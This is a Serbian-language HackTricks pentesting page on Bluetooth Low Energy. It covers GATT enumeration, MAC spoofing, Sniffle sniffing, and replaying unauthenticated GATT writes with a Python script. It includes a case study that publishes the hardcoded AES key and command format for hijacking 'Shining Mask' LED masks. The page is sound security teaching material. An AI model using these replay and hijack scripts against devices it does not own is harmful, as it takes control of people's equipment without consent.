Pentesting BLE - Bluetooth Low Energy
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Uvod
Dostupan od specifikacije Bluetooth 4.0, BLE koristi samo 40 kanala, pokrivajući opseg od 2400 do 2483.5 MHz. Nasuprot tome, tradicionalni Bluetooth koristi 79 kanala u istom opsegu.
BLE uređaji komuniciraju slanjem advertising packets (beacons); ovi paketi emituju postojanje BLE uređaja drugim uređajima u blizini. Ovi beaconi ponekad takođe šalju podatke.
Uređaj koji osluškuje, takođe nazvan centralni uređaj, može da odgovori na advertising packet sa SCAN request poslatim specifično oglašavajućem uređaju. Odgovor na taj scan koristi istu strukturu kao advertising packet, sa dodatnim informacijama koje nisu stale u inicijalni oglašavajući zahtev, kao što je puni naziv uređaja.
.png)
Preambula bajt sinhronizuje frekvenciju, dok je četvorobajtna access address identifikator veze, koji se koristi u scenarijima gde više uređaja pokušava da uspostavi konekcije na istim kanalima. Zatim, Protocol Data Unit (PDU) sadrži advertising data. Postoji nekoliko tipova PDU; najčešće korišćeni su ADV_NONCONN_IND i ADV_IND. Uređaji koriste ADV_NONCONN_IND PDU tip ako ne prihvataju konekcije, šaljući podatke samo u advertising packet. Uređaji koriste ADV_IND ako dozvoljavaju konekcije i prestaju da šalju advertising pakete kada je veza uspostavljena.
GATT
Generic Attribute Profile (GATT) definiše kako uređaj treba da formatira i prenosi podatke. Kada analizirate attack surface BLE uređaja, često ćete koncentrisati pažnju na GATT (ili GATTs), zato što je to način na koji se funkcionalnost uređaja pokreće i kako se podaci čuvaju, grupišu i menjaju. GATT navodi karakteristike uređaja, deskriptore i servise u tabeli kao 16- ili 32-bitne vrednosti. Karakteristika (characteristic) je vrednost podataka koja se šalje između centralnog i perifernog uređaja. Ove karakteristike mogu imati deskriptore koji pružaju dodatne informacije o njima. Karakteristike su često grupisane u servise kada su povezane sa izvođenjem neke konkretne akcije.
Enumeracija
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool omogućava uspostavljanje veze sa drugim uređajem, nabrajanje njegovih karakteristika, i čitanje i pisanje njegovih atributa.
GATTTool može pokrenuti interaktivni shell pomoću opcije -I:
Interaktivna upotreba i primeri GATTTool-a
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Presretanje i aktivna kontrola nepariranih BLE uređaja
Mnogi jeftini BLE periferijski uređaji ne primenjuju pairing/bonding. Bez bondinga, Link Layer encryption nikada nije omogućena, pa je ATT/GATT saobraćaj nešifrovan. Off-path sniffer može pratiti konekciju, dekodirati GATT operacije da bi otkrio characteristic handles i vrednosti, a bilo koji obližnji host potom može da se poveže i ponovo izvrši te write-ove kako bi kontrolisao uređaj.
Sniffing with Sniffle (CC26x2/CC1352)
Hardver: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) ponovo flashovan sa NCC Group’s Sniffle firmware-om.
Instalirajte Sniffle i njegov Wireshark extcap na Linuxu:
Instalirajte Sniffle extcap (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Flash Sonoff with Sniffle firmware (proverite da vaš serijski uređaj odgovara, npr. /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Snimite u Wireshark pomoću Sniffle extcap i brzo se prebacite na zapise koji menjaju stanje filtriranjem:
_ws.col.info contains "Sent Write Command"
Ovo ističe ATT Write Commands koje šalje klijent; handle i value često direktno mapiraju na akcije uređaja (npr. write 0x01 na buzzer/alert characteristic, 0x00 za zaustavljanje).
Brzi primeri za Sniffle CLI:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternativni sniffer: Nordic’s nRF Sniffer za BLE + Wireshark plugin takođe radi. Na malim/jeftinim Nordic dongle-ovima obično prepišete USB bootloader da biste učitali sniffer firmware, pa ili zadržite posvećen sniffer dongle ili vam treba J-Link/JTAG da kasnije vratite bootloader.
Aktivna kontrola putem GATT
Kada identifikujete writable characteristic handle i value iz presretnutog saobraćaja, povežite se kao bilo koji central i pošaljite isti write:
-
Koristeći Nordic nRF Connect for Desktop (BLE app):
-
Izaberite nRF52/nRF52840 dongle, skenirajte i povežite se sa ciljem.
-
Pregledajte GATT database, pronađite ciljnu karakteristiku (često ima prijateljsko ime, npr., Alert Level).
-
Izvršite Write sa presretnutim bajtovima (npr., 01 za aktiviranje, 00 za zaustavljanje).
-
Automatizujte na Windows sa Nordic dongle koristeći Python + blatann:
Python blatann Write primer (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)
print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)
print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### Studija slučaja: hijacking BLE LED maski (Shining Mask family)
Jeftine, white‑labeled BLE LED maske koje kontroliše “Shining Mask” app prihvataju write kontrolu od bilo kog obližnjeg central bez pairing/bonding. App koristi GATT prema command characteristic i data characteristic; komande su AES‑ECB šifrovane statičkim ključem hard‑kodiranim u app‑u, dok su bulk image data nešifrovani.
Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
Neautentifikovani GATT writes
- Nema potrebe za pairing/bonding. Bilo koji host može da se poveže i upiše u command UUID da menja brightness, izabere slike, pokrene animacije, itd.
- Uobičajene operacije koje su primećene: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
Kadriranje AES komandi sa statičkim ključem
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Poznat statički ključ (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (primer: postavljanje maksimalne osvetljenosti):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Tok otpremanja slike
- Nakon encrypted DATS handshake-a, raw chunks se zapisuju unencrypted u data characteristic …960a.
- Packet format: [len][seq][payload]. Empirično ~100 bytes payload po paketu funkcioniše pouzdano.
Minimalni pseudo-kod za otpremanje slike
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to …960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
## Operativne napomene
- Preporučuje se Sonoff+Sniffle na Linuxu za robusno preskakanje kanala i praćenje veza. Držite rezervni Nordic sniffer kao backup.
- Bez pairing/bonding, svaki napadač u blizini može posmatrati writes i replay/craft svoje sopstvene na neautentifikovanim writable characteristics.
## References
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>
HackTricks

